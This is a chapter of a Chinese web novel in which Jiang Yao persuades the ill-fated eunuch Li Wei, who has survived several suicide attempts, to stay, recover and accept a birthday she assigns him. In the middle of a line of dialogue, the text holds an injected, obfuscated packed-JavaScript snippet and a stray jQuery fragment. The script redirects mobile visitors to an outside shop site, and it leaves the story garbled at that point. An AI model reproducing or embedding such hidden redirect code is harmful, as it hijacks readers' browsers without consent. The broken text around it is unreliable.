“奴才的名字是由奴才的娘取的,李苇,意为芦苇,命贱的野草,风一吹便散了,奴才的娘在奴才一出生就将奴才扔进了江里,奴才在江面上飘了整整三天却没死,三天后奴才的娘哭着将奴才抱了回去,说奴才是天生的邪灵。后来奴才才知道,曾经有一个道士为奴才批过命,说奴才命中带煞,终有一天,会祸及旁人。”
李苇缓缓抬起头,他的眼眶已经通红,蓄满了泪水,他哽咽道:“所以求姑娘,放奴才回宫吧。”
他在宫里几年,从来不搭理谁,就是为了让人能够讨厌他,远离他,也幸好,就算不做这些,也没有人会喜欢他。后来他被如愿的分到了冷宫的活计,平时接触不到人,也不会害了谁。
而眼前的人,是十几年来,他遇到的第一个也是唯一一个对他这样好的人,对他说出这种话的人,他不能害了她,更不能动想要留下来的念头。
“姑娘是好心人,奴才不能隐瞒姑娘这些,奴才谢谢姑娘的好心,可奴才当真是不能留下,回了宫后,奴才也会好好照顾自己。”
江瑶震惊了,她没想到,他竟然有过这样的遭遇。
冷静过后青丝坚定的摇摇头,“不是的,李苇,我不信命,更不信算命,若当真要信,我也觉得是老天开眼,让一个婴儿在冰冷的江水终活了下来。”
“不,姑娘。”李苇藏在衣袖下的手捏成一拳,言语激动道:“说起来姑娘或许不信,从前奴才寻死过多次,不管用什么必死的方法,每一次都总能活下来。”
说着他浑身颤抖起来,眼泪顺着脸颊沾湿了衣襟,“不管用哪种方法奴才都留的一条贱命在,原本奴才也是对算命存疑的,如今却不得不信,所以姑娘,放奴才走吧,求姑娘了。”
江瑶呼吸顿住了,她眼眶发红。
原来李苇当时醒来说的第一句话,还有多次寻死不成的遗憾。
生在人世间,却只求从未来过,不幸来过,也只求离去,但离去却终归不得,便如同幽魂,了无生趣。
这是谁给他写下的命书,寻常人还有求死的权利,可他却没有,他没有生的同意,没有死的权利。
江瑶睫毛微微颤抖,他知道他苦,却不知道他这样苦,而她却在他这样苦的人生里面,增添了一笔。
真是抱歉,李苇。
江瑶轻叹一口气,除了毫无意义的安慰,她还能做什么呢。
“李苇,如果当真如你所说,我也觉得,是上天开眼,不愿意让一个好人,带着遗憾冰冷的离世。既然上天都有此所愿,那从今以后,你可否,再拾起生的意义。”
“这世间姹紫嫣红,崎岖蜿蜒,你都不曾看过其一,春夏冬秋,各个节气的风景,宫里都没有,宫里没有人情冷暖,没有朝霞夕阳,没有人间真情,这世间总归是好人更多的。好多没见过的,以后有机会了不妨就去见见。”
她改变主意了,她应该不会将李苇再送回皇宫了,即使他的腿好了,也不会。
因为回到皇宫,他的道路,就是一条死路,即便身躯不能死去,可却比死还痛苦。
佛说,救人一命,胜造七级浮屠,既然怜悯了他,不如就怜悯到底吧。
李苇还想再言。
江瑶打断他,“来,将炭火点上,我有些冷。”
李苇立马蹲在炭火旁,用一旁的火折子将炭火点燃,“是奴才不好,奴才该第一时间点上,奴才真是该死,让姑娘冷到了。”
江瑶叹了一口气,有些无奈道:“没有哪里不好,李苇,方才是我叫住了你不是吗?”李苇的手颤抖的厉害,他还想继续说方才的事情,他想离开,想立刻就离开这里。
他低下头,突然眼睛扫到斜下角一处,身体又僵住了。
“姑娘……你……你的鞋袜湿了。”
江瑶不在意的“嗯”了一声,看着他那样局促的身形,好笑的解释道:“没关系,晴天她们去拿新的鞋袜了。”
她是因为来找他才湿了鞋袜,李苇心头一颤,他再次祈求道:“姑娘,将奴才送回宫吧。”
江瑶将房间内的蜡烛点上,声音坚定道:“等你养好伤,我就让你走。如今让你回宫,你能干活吗?怕是过不了多久,你的腿就废了,还有身子也扛不住。李苇,我说了,如今我的责任就是让你养好病,否则我不会让你走的。”
“所以下一次,记得燃上炭火,记得按时吃药,好好养病。”
“姑娘,奴才……”
“好了,听我的吧,再争论下去,也没有意义。”
“姑娘……是……”
李苇硬生生将话咽了回去。
房间内随着炭火的升起,温度渐渐回升。
二人在烛光的照印下,影子交叠。
江瑶看着李苇的影子。
他的影子也没有她高。
昨日她看到过李苇直起腰背,他正常的身高应该是要比她高出一个头的。
“你多大了?”江瑶突然问道。
李苇被这个问题打的有些不知所措。
他……多大了?
十六还是十七?
他忘了,他从未记得自己的生辰。
见李苇久久不回应,江瑶再次问道:“怎么了?”
李苇僵硬的站在原地,低着头的他眼睛看向地板只觉得脑袋眩晕。
“奴才,好像十六岁……亦或是,十七岁,奴才……不确定。”
江瑶诧异了。
不确定自己的生辰。
李苇艰难的解释道:“姑娘,奴才不敢欺瞒姑娘,当初奴才的娘将奴才捡回去,不到三天……便病逝了,后来的事,是住在附近的人告诉奴才的,没有人知道奴才的生辰,奴才……自己也不知道。”
他微微抬起头,睫毛被眼底润湿,瞳孔漆黑,声音颤抖,“姑娘,奴才没有骗你,奴才命中带煞,姑娘留着奴才,会害了姑娘自己。”
烛光倒映着他的侧脸,瘦削到极致的轮廓,无比纤长的睫毛。
黑暗看清楚了他的侧脸,光明却不能。
江瑶笑了笑,她走到他面前斩钉截铁的说道:“十六岁吧,少一岁,就少受一年的苦,就有多一年的幸福。”
“十六岁的话,是在凤召永元二年,我将你带回来的那日,是十二月一日,十二月,是梅花开的正好的季节,那以后你的生辰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508188|142207||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便是永元十二月一日。”
李苇微微抬起头,趁着房间黑暗,只有微弱的烛光,没有人能看清他的神情。
“姑娘……说什么?”
五个字,他停顿了很久,似乎是不敢相信,似乎是问句。
李苇看着眼前的姑娘,不似从前的一身金镂衣,满头的华贵珠钗,而是素色妆成,她站在那里,似乎就像上天派来的,派来无害的可以唤出李苇两个字的人。
在烛光的映衬下,身上发着光一样不可思议。
他方才问为什么,为什么她会这样对他,为什么会对他这样的好。
这已经超出他平生的所有认知。
江瑶笑而不语,她走到炭火旁蹲下身伸出手烤火。
突然她叹息一声对李苇转头笑道:“这世界上有千千万万的江瑶,你以后都会遇到。”
说完她便转头继续烤火了。
她的意思是,着世界上好人很多,以后他遇到的都会是好人。
他低着头,可她却蹲下了身,这样哪怕他低着头,他也能看到她。
清清楚楚。
不会有第二个姑娘了。
李苇突然在心里默默想到。
因为数十年了,他一个都没有遇到,他遇到的,都是厌恶他的,想他死的,让他离开的……
不过……
他总以为上天对他不公平,或许是因为,上天将他所有的运气都花在了这里。
“谢谢姑娘,奴才以后,有生辰了。”他轻声哽咽道。
江瑶突然站了起来。
“对啊,有生辰了,也得过生辰吧,我帮你好好过一个生辰吧。”
李苇怔住了。
“姑娘,奴才有生辰已经很开心了,奴才不……”
“让我想想,怎么给你过第一个生辰……”
李苇见江瑶沉浸的在思考,心就像此刻正在跳动的烛火一般。
过了半响,他默默低下头。
李苇,你真是何德何能,能遇到这样好的主人。
一阵风突然吹了进来。
门被打开了,是晴天拿着鞋袜进来了。
她火急火燎走到江瑶面前,“小姐,赶紧换上吧,别着凉了。”
“好。”
江瑶走到一旁的凳子处坐下开始脱自己的鞋袜。
晴天本想出言阻止却看见李苇此刻默默背过身,她终究没说什么。
算了,一个太监而已。
江瑶换好鞋袜后,府医正好也到了。
她起身走到李苇面前严肃深重的对他说道:“从今天起,大夫会为你治腿,你一定要好好配合知道吗?要好好喝药,因为那个药……很贵。”
李苇心里狠狠一跳,很贵。
能让眼前之人说出这两个字,想必异常珍贵了。
“姑娘……”
“别说拒绝的话,因为拒绝我也会用,你唯一要做的,就是对得起这药,知道吗?”
李苇本想说自己贱命一条,可这些话,好像对她来说毫无用处,她心意已决。
“是,姑娘,奴才一定会好好配合,不会辜负姑娘。”